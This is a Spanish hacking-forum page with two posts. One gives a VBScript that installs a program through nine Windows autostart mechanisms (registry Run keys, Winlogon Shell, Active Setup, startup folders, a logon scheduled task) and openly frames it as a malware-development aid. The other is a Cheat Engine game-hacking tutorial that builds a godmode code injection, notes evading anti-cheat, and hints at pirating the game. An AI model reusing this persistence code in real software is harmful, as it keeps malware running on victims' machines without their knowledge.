elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: (TUTORIAL) Aprende a emular Sentinel Dongle By Yapis


  Mostrar Temas
Páginas: 1 [2] 3 4 5 6 7 8 9 10
11  Seguridad Informática / Análisis y Diseño de Malware / [APORTE] 9 métodos de auto-inicio en un solo script en: 4 Mayo 2014, 18:57
Muy buenas a todos

Como ya sabéis, cuando estamos trabajando o desarrollando malware, es de suma importancia asegurarse que nuestro proceso/ejecutable/script se auto-ejecute en el sistema cada vez que el usuario inicie sesión.

Hay muchos métodos para lograr dicho efecto, los más conocidos es mover una copia del ejecutable a la carpeta "Inicio" del menú de Windows o añadir una clave "Run" en el regedit, no? Bueno, he hecho un poco de búsqueda y pruebas y he logrado agrupar 9 métodos de auto-ejecución en una sola función. Hay más de 9 métodos, pero no todos son compatibles entre ellos y he agrupado los más efectivos en una sola función.

La función la he programado en VBS, pero es fácilmente exportable a cualquier lenguaje de programación, incluido batch (que no es un lenguaje como tal). Los 9 métodos utilizados son:

  • Regedit: Run en HKCU
  • Regedit: Run en HKLM
  • Regedit: RunOnce en HKLM
  • Regedit: Policies en HKCU
  • Regedit: Winlogon\Shell en HKLM
  • Regedit: ActiveX en HKLM+HKCU
  • Win32: StartupFolder
  • Win32: AllUsersStartupFolder
  • Scheduled Task: OnLogon

Éstos son los 9 métodos de los que voy a hablar, pero faltarían algunos más, como por ejemplo Winlogon\Userinit, método iFEO, crear un system service, etc...

Además, he analizado el comportamiento de los 9 métodos y hay cosas a tener en cuenta. Si configuramos un sistema para que auto-ejecute un mismo programa utilizando éstos 9 métodos a la vez, el sistema los ejecutará en un orden concreto, además 4 de los 9 métodos se ejecutarán ANTES de iniciar el escritorio del usuario y los 5 métodos restantes se ejecutarán DESPUÉS de iniciar el escritorio. Además 2 de éstos 9 métodos poseen la propiedad HaltSystem, que mantendrán el sistema en suspensión hasta que la ejecución del proceso no finalice (cuidado!), aquí el script:

Código
  1. Set oWSH = CreateObject("WScript.Shell")
  2. Set oFSO = CreateObject("Scripting.FileSystemObject")
  3.  
  4. call startup
  5. 'call uninstall
  6.  
  7. Function startup
  8. On Error Resume Next
  9. oWSH.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\C1", "C:\V1.EXE"
  10.  
  11. oWSH.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\C2", "C:\V2.EXE"
  12.  
  13. oWSH.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\C3", "C:\V3.EXE"
  14.  
  15. oWSH.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\C4", "C:\V4.EXE"
  16.  
  17. oWSH.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "Explorer.exe, C:\V5.EXE"
  18.  
  19. oWSH.RegDelete "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\"
  20. oWSH.RegDelete "HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\"
  21. oWSH.RegWrite "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\StubPath", "C:\V6.EXE"
  22.  
  23. oFSO.CopyFile "C:\V1.EXE", oWSH.SpecialFolders("Startup") & "\V7.EXE", True
  24.  
  25. oFSO.CopyFile "C:\V1.EXE", oWSH.SpecialFolders("AllUsersStartup") & "\V8.EXE", True
  26.  
  27. oWSH.Run "schtasks /create /tn " & Chr(34) & "V9" & Chr(34) & " /tr " & Chr(34) & "C:\V9.EXE" & Chr(34) & " /sc onlogon /F"
  28. End Function
  29.  
  30. Function uninstall
  31. On Error Resume Next
  32. oWSH.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\C1"
  33.  
  34. oWSH.RegDelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\C2"
  35.  
  36. oWSH.RegDelete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\C3"
  37.  
  38. oWSH.RegDelete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\C4"
  39.  
  40. oWSH.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "Explorer.exe"
  41.  
  42. oWSH.RegDelete "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\StubPath"
  43. oWSH.RegDelete "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\"
  44. oWSH.RegDelete "HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\"
  45.  
  46. oFSO.DeleteFile oWSH.SpecialFolders("Startup") & "\V7.EXE", True
  47.  
  48. oFSO.DeleteFile oWSH.SpecialFolders("AllUsersStartup") & "\V8.EXE", True
  49.  
  50. oWSH.Run "schtasks /delete /tn " & Chr(34) & "V9" & Chr(34) & " /f"
  51. End Function
  52.  
  53.  
  54. MsgBox "end"

He añadido también la función uninstall, que eliminará los 9 métodos dejando el sistema "intacto". El orden de ejecución de los 9 métodos son:

Se ejecutan ANTES de iniciar el Desktop

1º Scheduled Task
2º Winlogon\Shell
3º RunOnce (HaltSystem, hasta que no finalice el proceso, no se continuará la carga normal del systema)
4º ActiveX (HaltSystem, hasta que no finalice el proceso, no se continuará la carga normal del systema)

Se ejecutan DESPUES de iniciar el Desktop

5º Regedit: Run en HKLM
6º Regedit: Policies
7º Regedit: Run en HKCU
8º Win32: All Users Startup Folder
9º Win32: Startup Folder

Pues nada, aquí tenéis la función, podéis utilizar solo un método o los 9 a la vez. También si alguien conoce algún método más y le gustaría compartir estaré encantado de ampliar el post con más información.

Saludos!! :)
12  Programación / Ingeniería Inversa / [TUTORIAL] Cheat Engine nivel avanzado. Tutorial completo en: 26 Abril 2014, 02:55
Bueno, lo prometido es deuda, he terminado mi último tutorial sobre Cheat Engine. He querido subir un escalón en cuanto a conceptos y dificultad. El tutorial trabajará sobre un mismo objetivo; un juego llamado Hack, Slash, Loot. Intentaré explicar al detalle todos mis conocimientos. El glosario tratado es el siguiente:

# Introducción
# Buscar Address
# Conceptos Básicos
# VEH Debugger
# Pointers
# Creando el cheat GODMODE (intento fallido)
# Shared Codes
# Diseccionar Shared Code
# Creando el cheat GODMODE (auto-assemble)
# Diseccionar Estructuras
# Localizar estructuras dinámicas
# AoB to Memory Data
# Script VBS - AoB Pattern generator
# Bonus: Comparar estructuras con WinMerge
# TeleportHack
# Despedida

El tutorial lo he escrito en PDF, explicando paso a paso cada concepto. Más de 50 paginas y 100 capturas de pantalla. Espero que lo disfruten.

BUSCAR ADDRESS
CONCEPTOS BÁSICOS
Primero de todo voy a presentar lo que será nuestro objeto de estudio, nada más y nada menos que Hack, Slash, Loot. Un juego tipo roguerlike basado en un sistema de combates por turnos que nos ayudará a entender cada una de las partes del tutorial. El juego es un sencillo ejecutable de apenas 10MB que no necesita instalación. No puedo postear el link directo de descarga ya que el juego es de pago (aprox 5€), pero creo que no os costará demasiado hacer una búsqueda en “la baía del barco pirata” para encontrarlo. En el tutorial trabajaremos con la versión 8.0 de Hack, Slash, Loot.


 
Para empezar, yo he seleccionado el arquero, pulsamos el último botón de la derecha para iniciar el juego. Puedes seleccionar otro personaje si lo deseas. El juego se maneja con el ratón; es un roguerlike así que al tratarse de un juego “por turnos” no nos tendremos que preocupar en pausar el juego mientras lo reversamos, Hack, Slash, Loot (a partir de ahora HSL) es el juego ideal para explicar en un tutorial como éste:




Abajo del todo aparecen los stats de mi jugador, primero de todo hay que marcarse un objetivo, en mi caso nuestro objetivo será crear un cheat de tipo godmode (invulnerable). Cada juego es diferente, y cada cheater trabaja de forma diferente. Hay varios caminos que conducen al mismo lugar, cualquier comino es válidos siempre y cuando consigamos cumplir nuestro objetivo. Cuando un juego muestra claramente los puntos de vida (HP) a mi me gusta localizar el address que almacena la vida y bloquearla, otro método válido sería buscar la instrucción que modifica la vida y nopear, otro método es localizar los puntos de vida que te van a restar al recibir un golpe y setearlos a 0. Hay muchos métodos/caminos, y todos son válidos. Yo os explicaré los 3 métodos.

TRABAJANDO CON VEH DEBUGGER

Empezaremos abriendo nuestro Cheat Engine 6.3 (a partir de ahora CE), os recomiendo que configuréis las opciones de CE, tiene 3 debuggers (2 por software y uno tipo ring0 kernel-mode), a mi me gusta el VEH, es practicamente indetectable para los sistemas de anti-cheat, así que nos vamos a “Setting” y modificamos las opciones tal que así:


 
Una vez tenemos habilitado el VEH Debugger, procedemos a abrir el proceso del HSL
 


En los stats de nuestro jugador tenemos 30 puntos de vida, así que realizaremos una búsqueda. No conocemos el funcionamiento del juego, no sabemos de que forma almacena los datos (integer, float, double, …), mi recomendación y experiencia me dice que probablemente el juego almacene los valores en formato Integer (Long) es decir, 4-bytes. Procedemos a realizar la primera búsqueda:


 
En mi caso han aparecido 990 direcciones con el valor 30. Lo que realizaremos ahora es buscar algún enemigo y dejaremos que nos haga daño para reducir nuestros puntos de vida, por suerte he aparecido al lado de un enemigo, así que haré click con el ratón encima de mi personaje para “pasar el turno” y conseguir que me hagan daño:


 
Bien, el maldito kobold me ha pegado una zurra y ahora mi personaje tiene 14 puntos de vida, así que realizo la segunda búsqueda en CE:


 
Bien! De las 990 direcciones encontradas al inicio, ahora solo tengo 2! No necesito hacer más búsquedas, solo tengo que probar cual de las 2 direcciones almacena la vida. Hacemos click derecho en la primera dirección y selleccionamos la opción “Change value of selected address”, en el cuadro emergente ponemos un número cualquiera, por ejemplo 40 y miramos si nuestra vida a aumentado.
 


En mi caso he fallado, la dirección 0101FD98 no es la correcta, ya que si establezco su valor a 40, automáticamente se vuelve a poner con 14. Así que pruebo con la segunda:

 
 
Sí! Como podemos observar, la vida ha aumentado a 40, así que en mi ordenador, la dirección 03651910 almacena los puntos de vida. El único problema que tenemos ahora es que esa dirección no es estática. Si apagamos y encendemos el juego de nuevo, la dirección de los puntos de vida habrá cambiado por otra y tendría que volver a buscarla. ¿Cómo podemo evitar tener que buscar siempre una dirección no estática? Con los Pointers. Siguiente capítulo…


POINTERS

No voy a extenderme mucho hablando de los punteros (pointers), pero básicamente son una especie de “cajita” en la que el juego almacena la dirección de otro address. Nuestro objetivo es localizar el pointer (la cajita) que almacena la dirección de nuestra vida, así aunque la dirección cambie, el pointer siempre apuntará a la dirección correcta.

Para ello utilizaremos una función propia del CE llamada Pointer Scan. Necesitamos primero de todo localizar la dirección actual de nuestra vida, en mi ejemplo es la dirección 03651910. Hacemos doble-click encima de la direcció encontrada para mandarla en la parte inferior, pulsamos botón derecho encima y seleccionamos “Find out what accesses this address”:


 
Nos preguntará si queremos iniciar el debugger, le decimos que sí, aparecerá una ventanita pequeña. Ahora volvemos al juego y jugamos un poco, movemos el personaje por la pantalla y luchamos con algún enemigo (intentando que nos hagan un poco de daño), tras recibir unos golpes volvemos a la ventanita del CE y encontraremos algo similar a esto:

 

En mi caso el debugger ha encontrado 4 instrucciones que han accedido a la dirección 03651910. Lo que tenemos que realizar ahora es buscar un patrón repetitivo. A simple vista me llama la atención el patrón [???+50]. En cada línea hay un [eax+50] o [ebx+50] ¿Qué significa? Hacemos click en una instrucción, yo he escogido  la instrucción SUB, abajo aparece una porción de las instrucciones así como el estado de los registros:
 


[ebx+50] se traduce como 036518C0 + 50 (Hexadecimal), así que abrimos nuestra calculadora de Windows (modo Programador) y realizamos la suma:


 
El resultado de dicha suma es 3651910 que se corresponde a nuestra dirección con los puntos de vida. Todo esto lo hemos realizado para conocer que tipo de pointer tendremos que buscar, os recomiendo que abráis un documento de texto para ir anotando los valores. En ésta instrucción, EBX apunta a la estructura base de nuestro jugador. El offset +50 de dicha estructura almacena los puntos de vida, tal que así:
EBX = 036518C0 (PLAYER STRUCTURE)
EBX+50 = 3651910 (PLAYER HP VIDA)
El pointer que tenemos que buscar ha de terminar con el offset +50 ya que es el patrón que hemos visto con el debugger, anotad en vuestro fichero algo así como:


 
Cerramos el debugger y volvemos a la ventana principal del CE, con nuestro address mostrando la vida del jugador. Hacemos click derecho encima del address y seleccionamos Pointer Scan:


 
Se nos abrirá una ventana con muchas opciones. En la parte superior nos pregunta que dirección queremos buscar. Automáticamente CE ha rellenado el address de nuestra vida (3651910) ya que lo que queremos es buscar cualquier pointer que apunte a nuestra vida. Más abajo tendremos que cambiar las opciones que he señalado en rojo. Primero le indicaremos al pointer-scan que nuestro pointer debe terminar con el offset +50 (es lo que descubrimos con el debugger!) Luego parametrizamos la complejidad del pointer, para juegos de éste tipo, con un nivel entre 1-5 es suficiente, el tamaño puede ir desde 1024 a 2048. Para nuestro ejemplo yo he puesto nivel = 3 y tamaño = 1024.


 
Pulsamos OK y nos preguntará donde guardar el fichero de pointers, mi recomendación es que hagáis una sub-carpeta para almacenar el pointer, yo le he puesto el nombre de vida. Tras unos segundos se iniciará el scaneo de pointers y nos dará un resultado:

 

Wow 85 punteros. En algunos juegos, la primera búsqueda de pointers puede devolver más de 5 millónes de resultados (es normal), para lograr encontrar el pointer correcto se necesitan realizar varios escaneos consecutivos.
Bien, ya hemos realizado la primera búsqueda y nos ha devuelto 85 punteros. Lo que realizaremos ahora es cerrar el juego por completo y lo volveremos a abrir. Volveremos  abrir el proceso de HSL y realizaremos de nuevo la búsqueda manual del address con los puntos de vida:


 
Como podéis observar, la antigua dirección 03651910 ya no muestra la vida real del jugador, ahora la vida se almacena en la nueva dirección 038388B0 (que abremos buscado manualmente tal y como hemos visto en el inicio de éste tutorial). Ya hemos encontrado la nueva dirección con los puntos de vida, así que pulsamos click derecho encima de la dirección y seleccionamos Pointer Scan de nuevo:

 

ATENCIÓN! Ahora se ha vuelto a abrir la misma ventana de antes, con las opciones del pointer. Lo que hay que hacer es CERRAR ésta ventana ya que no queremos iniciar una nueva búsqueda, si no continuar la búsqueda con los resultados anteriores:
 
 



Se nos habrán cargado los pointers anteriores (en mi caso 85), así que realizaremos una búsqueda utilizando estos 85 punteros de referencia:


 
Se nos abrirá una ventana más pequeña, aquí indicaremos el valor de la nueva dirección que debería tener el pointer, introduciremos la nueva address que hace referencia a los puntos de vida, en mi caso 038388B0:


 
Pulsamos OK (nos preguntará donde guardar los resultados, podéis guardar con el mismo nombre o con un nombre nuevo) tras unos segundos nos reducirá los resultados según el valor buscado:
 


Bieeeen, 1 solo resuntado. Seguro que ese es nuestro pointer! Además el offset termina en +50 tal y como hemos configurado. Hacemos doble-click en el resultado y el pointer se mandará a nuestra tabla de CE:
 


Podemos ver como CE muestra los pointers con el carácter P->, si ahora reiniciamos el juego, el pointer nos mostrará la dirección de nuestra vida, podremos editar, congelar o trabajar con la dirección.
Hasta aquí el tutorial sobre pointers, practicad y veréis que no es tan complicado como parece.

CREANDO EL CHEAT GODMODE
(PRIMER INTENTO FALLIDO)

Bueno, ya que hemos encontrado el address de nuestra vida y que, además, tenemos el pointer estático de dicho address, podemos establecer un valor y marcar la casilla para “congelarlo”, así obtendríamos lo que sería una especia de godmode:


 
Lo único que no me gusta de éste método es que si luchamos contra un enemigo muy poderoso y de un solo golpe nos quita -700 puntos de vida… terminaremos muriendo ya que la velocidad de refresco del CE nunca será superior a la del juego. Para evitar eso y conseguir un godmode más real podemos hacer muchas cosas, pero yo recomiendo las siguientes:
•   Detectar el valor de daño que nos aplicarán y establecerlo siempre a 0
•   Detectar la instrucción que modifica o resta los puntos de vida y cambiarla por un NOP
Ambos métodos son correctos y yo los aconsejo ya que son “mejores” que setear un pointer a un valor fijo. Para ello pulsaremos click derecho en nuestro pointer (que apunta a la address de los puntos de vida) y miraremos que instrucciones escriben en dicha dirección:


 

Al tratarse de un pointer, CE nos preguntará si queremos mirar la instrucción que modifica el pointer o la instrucción que modifica la dirección a la que apunta nuestro pointer. Siempre, siempre, siempre escogeremos la segunda opción:



 
Nos volverá a salir la pequeña ventanita del debugger, que estará vigilando a ver que instrucción escribirá sobre el address del pointer (los puntos de vida). Volvemos al juego y jugamos unos cuantos turnos hasta recibir un poco de daño, cuando hayamos recibido daño, volvemos a la ventanita del debugger y encontraremos lo siguiente:


 
La ventana nos muestra que la instrucción 00550474 ha modificado nuestra vida, ademas nos enseña el código ASM que realiza la acción de modificar sub [ebx+50],eax y el estado de todos los registros, vámos a interpretar:
POINTER VIDA = 37490B0
INSTRUCCIÓN = SUB [EBX+50],EAX
EBX = 03749060
EAX = 7
Lo que está ocurriendo aquí es la llamada a la instrucción SUB (substract / restar) el valor de EAX a la dirección [EBX+50]
EBX+50 = 03749060 + 50 = 37490B0 (Pointer Address Vida)
En resumen, resta el valor de EAX=7 a nuestra dirección de memoria que almacena los puntos de vida, por lo que dicha instrucción me quita 7 puntos de vida.
Perfecto, ahora ya entra la genialidad de cada uno para reversar dicha instrucción. Hay varias formas y todas son válidas:
•   Cambiar el SUB por un ADD (así en cada golpe, la vida aumentará)
•   Cambiar EAX por 0, quedaría así: sub [ebx+50],0 (así en cada golpe, la vida disminuye en 0)
•   Nopear la instrucción cambiando el sub [ebx+50],eax por varios NOP
De las 3 opciones que os he propuesto, la primera de todas parece la más sencilla. Además a parte de conseguir un godmode, nuestra vida aumentaría en cada golpe. Vámos a probar. Pulsamos el botón “Show disassembler” para abrir la ventana de Memory View:


 
CE ya nos ha posicionado en la instrucción 00550474, así que hacemos click derecho en la instrucción y seleccionamos “Assemble” para editarla:


 
Y cambiamos la palabra SUB por ADD:


 
Os recomiendo que hagáis click derecho de nuevo sobre la instrucción y os guardéis la dirección en el fichero de texto:




 
 
Así tendréis guardada la dirección para más tarde y ahorraremos tiempo, en mi caso es HackSlashLoot.exe+150474. Cerramos el Memory View y la ventanita del debugger, dejando solo la ventana principal del CE y el juego. Iniciamos un nuevo combate para ver si funciona nuestro “hack”:


 
670 puntos de vida! En lugar de disminuir ha aumentado! Bien somos unos hackers-cheaters-crackers de la elite profesional, pero… si intentas matar a tu enemigo haciendo click encima del kobold, verás que por una extraña circunstancia no puedes matarlo… ¿Qué raro, no? Si miramos bien, el juego nos muestra la vida de nuestro enemigo si lo seleccionamos con el ratón:


 
Horror! La vida del enemigo también aumenta! ¿Cómo es eso posible? Bueno, esto por desgracia suele ocurrir. El programador del juego está utilizando la misma función para restar vida al jugador y a los enemigos, por eso al haber cambiado el SUB por el ADD, tanto la vida del jugador como la de los enemigos aumenta en cada golpe. Éste efecto se le conoce como Shared Code (código compartido) ya que la instrucción HackSlashLoot.exe+150474 es compartida por más de una dirección de memoria. ¿Hay alguna forma de solucionar éste problema? Sí, sigue leyendo…

SHARED CODES
Primero de todo vamos a dejar el juego como estaba, quitando el ADD que pusimos anteriormente por el SUB original, abrimos el Memory View:


 
Si hemos cerrado el CE quizás ya no estemos encima de la instrucción original, copiamos la instrucción de nuestras notas (en mi caso HackSlashLoot.exe+150474) y hacemos:


 

 
Nos situaremos delante de la instrucción, hacemos doble-click encima (o click derecho / “Assemble”) y cambiamos el ADD por el SUB original, así todo estará en su sitio.

Ahora lo que os voy a enseñar es un método para comprobar si una misma instrucción modifica más de una dirección de memoria, para ello pulsamos botón derecho encima de la instrucción y seleccionamos “Find out what addresses this instruction accesses”




 
 

Si lo hemos hecho bien, la instrucción quedará marcada en verde y aparecerá una ventana. Sin cerrar la ventana, volvemos al juego e intentamos forzar que dicha instrucción trabaje. Para ello iniciaos un combate hasta recibir algo de daño y causar nosotros daño al enemigo:


 
Y aquí tenemos el resultado, han aparecido 2 direcciones que han sido accedidas por la misma instrucción, la primera (104D3490) tiene valor 70 y se corresponde con la vida del enemigo (ver foto). La segunda dirección (037490B0) es la dirección de mi vida, además su valor coincide con la vida de mi personaje (ver foto). Está más que claro que ésta instrucción ha modificado ambas direcciones, por lo que si cambiamos el SUB por un ADD afectará tanto a mi vida como a la vida de los enemigos.

Bueno, pulsamos STOP para que CE deje de observar la instrucción (la instrucción ya no estará marcada en verde) y dejamos la ventanita con las 2 direcciones abierta). Ahora que ya conocemos el método para saber cuando estamos delante de un Shared Code os explicaré como diseccionar la estructura del jugador y la del enemigo para buscar diferencias y poder aplicar un ADD en el caso que sea el jugador y un SUB en el caso de un enemigo.

DISECCIONAR SHARED CODE
Seguimos! Hemos encontrado una instrucción del tipo Share Code”, os dejo el resumen:
DIRECCIÓN   =   HACKSLASHLOOT.EXE+150474
OPCODES   =   SUB [EBX+50],EAX
TIPO      =   SHARED CODE

Sabemos que el offset +50 de la estructura es donde el juego almacena la vida, dependiendo del valor de EBX la instrucció modificará la dirección del jugador o la del enemigo. Está clarisimo que tendremos que ver el estado de los registros para saber la dirección afectada, para ello hacemos click drecho en nuestra dirección del jugador y seleccionamos “Show register states”:


 
Se nos abrirá una mini ventana con el estado de los registros, hacemos lo mismo con la dirección del enemigo y ponemos las 2 ventanas una al lado de la otra:


 
Nos fijamos en los registros EBX, naturalmente EBX apunta al inicio de la estructura de cada jugador (nuestro player y el enemigo). Si miramos con más atención, el registro ESI tiene el mismo valor que EBX en el caso del Player pero en el caso del Enemigo ESI no vale lo mismo que EBX.

Pues de ésta forma tan sencilla acabamos de inventarnos un método para conocer cuando la instrucción está modificando el address del player o del enemigo, dicho método es una simple comparación:

CMP EBX,ESI
JNE ENEMIGO

O lo que es lo mismo, comparamos el valor de EBX con ESI y saltaremos a “ENEMIGO” si no son iguales. ¿Qué os parece? Habría otras formas para diferenciar ambas estructuras, pero la que a mi se me ha ocurrido es ésta. Ahora solo falta decirle a CE que sepa diferenciar el Shared Code y nos haga un ADD o un SUB cuando nosotros queramos.

CREANDO EL CHEAT GODMODE

(SEGUNDO INTENTO) : AUTO-ASSEMBLE
Cerramos la ventanita para quedarnos delante del Memory View con la instrucción seleccionada. Vamos al menú “Tools / Auto-Assemble”:


 
Se nos abrirá un editor de Auto-Assemble (a partir de ahora AA), podemos escribir a mano todo el script pero CE tiene un par de plantillas que nos ahorrarán mucho trabajo, hay que usar los siguientes menús, hay que hacerlo en el mismo orden que os explicaré:

1.   “Template / Cheat Table framework code”
2.   “Template / Code Injection”
3.   Pulsar OK para aceptar la dirección de nuestra instrucción

Si lo hemos hecho bien obtendremos el siguiente código automático:



 
Ahora vamos al menú “File / Assign to current cheat table” y luego “File / Exit”. Si lo hemos hecho bien, la ventana del Auto-Assemble se habrá cerrado y tendremos un script en la ventana principal del CE:



 

Hacemos doble click encima del script y se volverá a abrir la ventana del Auto-Assemble, desde aquí ya podremos modificar el script para conseguir un godmode como dios manda (valga la redundancia), vámos a identificar cada parte del código:

El script está separado por 2 secciones grandes llamadas [ENABLE] y [DISABLE]. El código de la parte [ENABLE] se ejecutará cuando el script esté activo. Cuando desactivemos el script, se ejecutarán las instrucciones de la sección [DISABLE].
En la parte de [ENABLE] empieza con un alloc() que sirve para reservar una sección de memoria. Por defecto CE nos asignará 2kbytes para inyectar código ASM, dicha sección de código estará bajo la etiqueta NEWMEM. Luego encontramos 3 etiquetas que sirven para identificar partes del código:

•   Returnhere   =   Indica el final del código
•   Originalcode   =   Indica la parte original del código, en nuestro caso el SUB
•   Exit      =   No se utiliza, es lo mismo que Returnhere

Teniendo éstas 3 partes bien identificadas queda muy claro que escribiremos nuestro código bajo la etiqueta NEWMEM, el resto no lo queremos modificar. En el espacio que tenemos entre NEWMEM y ORIGINALCODE escribimos lo siguiente:

CMP EBX,ESI
JNE ORIGINALCODE
MOV EAX,0

¿Que significan éstas líneas? Básicamente lo que estamos realizando primero es comparar el registro EBX con ESI. Anteriormente dijimo que si EBX = ESI significa que es el jugado, en cambio si EBX != ESI entonces es el enemigo. Luego lanzamos un salto condicional JNE (Jump if Not Equal) es decir ”salta si no es igual”, si EBX no es igual a ESI entonces saltará a ORIGINALCODE y ejecutara el SUB, en cambio si EBX es igual a ESI (jugador) no saltará y se ejecutará la instrucción MOV EAX,0 es decir, EAX=0. Con esto lo que conseguimos es que cuando se ejecute el SUB, el registro EAX valdrá 0 y no nos restará la vida. El script te ha de quedar así:


 

Ahora activamos el script haciendo click en el recuadro y luchamos con algún enemigo. Verás que si eres golpeado, tu vida no decrece. En cambio si golpeas a un enemigo, su vida decrecerá con normalidad. Desactiva el script y abre el Memory View, hacemos un GoTo Address "HackSlashLoot.exe"+150474, aparecerá el código original:


 
Ahora pulsamos el script para activarlo y miramos que ocurre en dicha instrucción:



 
El código original ha sido sustituido por un jmp 02C50000 (en tu caso podrá ser otro address), hagamos click derecho en el jmp y seleccionamos Follow para ver que hay ahí:


 
Lo que encontramos tras ese jmp es el código ASM que hemos inyectado con el Auto-Assemble script, aquí se ve muy claro como trabaja CE, si desactivamos el script, dicha zona de memoria será borrada.

DISECCIONAR ESTRUCTURAS

RECORRER LOS OFFSETS “A MANO”
Ahora ya tenemos un script en Auto-Assemble que nos permite activar un cheat tipo godmode y que además es capaz de diferenciar si se trata de un jugador o de un enemigo. Lo que voy a explicar a continuación es como diseccionar una estructura para encontrar otros valores interesantes.

Una estructura en programación consiste en declarar una serie de variables comunes y asignarlas a un “nombre”, ejemplo:
STRUCT PLAYER
{
INT  ID;
CHAR NAME[10];
FLOAT MANA;
DOUBLE HEALTH;
};

En éste caso he creado una estructura llamada player que contiene 4 variables (id, nombre, mana, health). Así es como están programados la gran mayoría de video-juegos. Las estructuras están cargadas en memoria (tiempo de ejecución). Nuestro objetivo será conocer el address de la estructura de nuestro jugador para poder diseccionarla con una herramienta (base-address). Sigamos con el tutorial…
Primero de todo trabajaremos con el juego “original”, así que el script de godmode lo dejamos desactivado. Tenemos ya nuestro pointer que apunta a la dirección de los puntos de vida del jugador. Hacemos click derecho encima del pointer y seleccionamos “Find out what writes to this address”:


 
Al tratarse de un pointer nos preguntará si queremos mirar la instrucción que escribe encima del pointer o la instrucción que escribe el address de nuestro pointer. Siempre escogeremos la segunda opción. Se abrirá la ventana del debugger así que volvemos al juego y dejamos que un enemigo nos golpee, acto seguido volvemos a la ventanita y nos aparecerá nuestra instrucción famosa:


 
Si hacemos click en ella nos aparece abajo toda la información. Pulsamos el botón “More Information”


 
Nos aparece un recuadro con información adicional, he subrallado una frase importante que nos indica CE… nos está calculando cual es la direcció probable de nuestra estructura, en mi caso nos indica 03918860, así que hacemos click derecho encima para copiar la dirección:


 
Perfecto, ya tenemos la base-address de la estructura de nuestro jugador, ya podemos diseccionarla! Cerramos la ventana de “More Information” y la ventanita del debugger. Nos situamos en la ventana principal de CE, pulsamos en Memory View y luego en el menú: “Tools / Dissect data & structures”:


 
Se abrirá una ventana grande de color blanco, en la parte superior podremos escribir una address. Lo que hay que hacer es escribir la base-address de nuestra estructura (en mi caso 03918860):


 
Vámos al menú: “Structures / Define New structure”. Nos preguntará que nombre queremos asignar, puedes poner lo que quieras, yo puse PLAYER. A continuación nos preguntará si queremos que CE rellene automáticamente la estructura:


 
Le diremos YES para ahorrarnos trabajo, jeje. Luego nos preguntará el tamaño. Por defecto CE asigna 4096 offsets. Bajo mi punto de vista son demasiados, así que yo lo bajo a 1024 o 2048:


 
Finalmente, tras definir el tamaño, CE cogerá la base-address de la estructura y la diseccionará 1024 offsets, obtendremos lo siguiente:


 
No nos asustemos, vámos a interpretar la información que nos proporciona CE… ¿recuerdas que offset corresponde a los puntos de vida? Puedes mirar las notas o el pointer que tenemos en la tabla:


 
Pues sí, la vida está situata en el offset +50, si miramos la estructura diseccionada veremos que se corresponde al valor del pointer y a los puntos de vida:
 
 




Ahora a partir de aquí es cuestión de “tocar, explorar y probar”. Mi recomendación personal es que cerca de un offset válido se encuentran el resto de offsets de la estructura. Lo primero que ahoremos es poner un nombre a los offsets conocidos, por el momento solo conocemos el offset +50 así que damos doble-click encima y le pones un nombre:


 
Ahora lo interesante sería poder detectar que offsets se corresponden al ataque, rango, magia, defensa, etc… estoy seguro que esos offsets estarán cerca de la vida (+50) así que miraré los offsets cercanos y los compararé con mi jugador:
 




 
Me llama la atención el offset +34… tiene un valor de 40 que coincide con los 40 puntos de daño en el juego:


 
Así que hacemos click derecho encima del offset +34 y seleccionamos la opción “Change Value” e introducimo un nuevo valor, por ejemplo 77




 
BINGO! El offset +34 es el encargado de almacenar el daño (Melee Attack) así que hacemos doble-click para editarlo y apuntamos el offset a nuestras notas:
 


Está clarísimo que los offsets entre +34 y +50 serán los otros stats, así que iremos editando cada offset para conocer su valor en el juego y lo anotaremos en nuestra disección y en nuestras notas. Así me ha quedado a mi:



 
Bueno, ya tengo la estructura diseccionada al completo, hay otros offsets, quizás alguno esté almacenando algo interesante, pero eso ya lo veremos más adelante. Ahora ya tenemos la estructura diseccionada con los offsets principales. Solo nos queda poder calcular automáticamente la base-address de nuestra estructura para luego sumar +50 +34 +etc… e ir sacando cada una de las direcciones importantes. ¿Cómo lo hacemos? Pues tendremos que encontrar un patrón que no sidentifique la base-address de la estructura de nuestro jugador. Empezemos…

LOCALIZAR ESTRUCTURAS DINÁMICAS

AOB TO MEMORY DATA
Necesitamos encontrar un patron en la memoria del programa/juego que nos identifique la base-address de forma automática. El método es muy sencillo, hay que buscar la base-address manualmente y copiar los bytes que contiene dicha base-address. Éstos pasos hay que repetirlos varias veces, dependiendo del juego y de su complejidad, necesitarás repetir ésta operación 5, 6, 7 o 10 veces. En el caso de Hack, Slash, Loot he realizado 5 búsquedas hasta encontrar un patrón válido.
Podemos empezar de varias formas, pero a mi me gusta partir siempre de la instrucción que modifica un offset de nuestra estructura. En las notas tenemos apuntado lo siguiente:


 
Sabemos que la instrucción HackSlashLoot.exe+150474 modifica el offset +50 de nuestra estructura, así que abrimos el Memory View, hacemos click derecho y pulsamos “GoTo Address”:


 
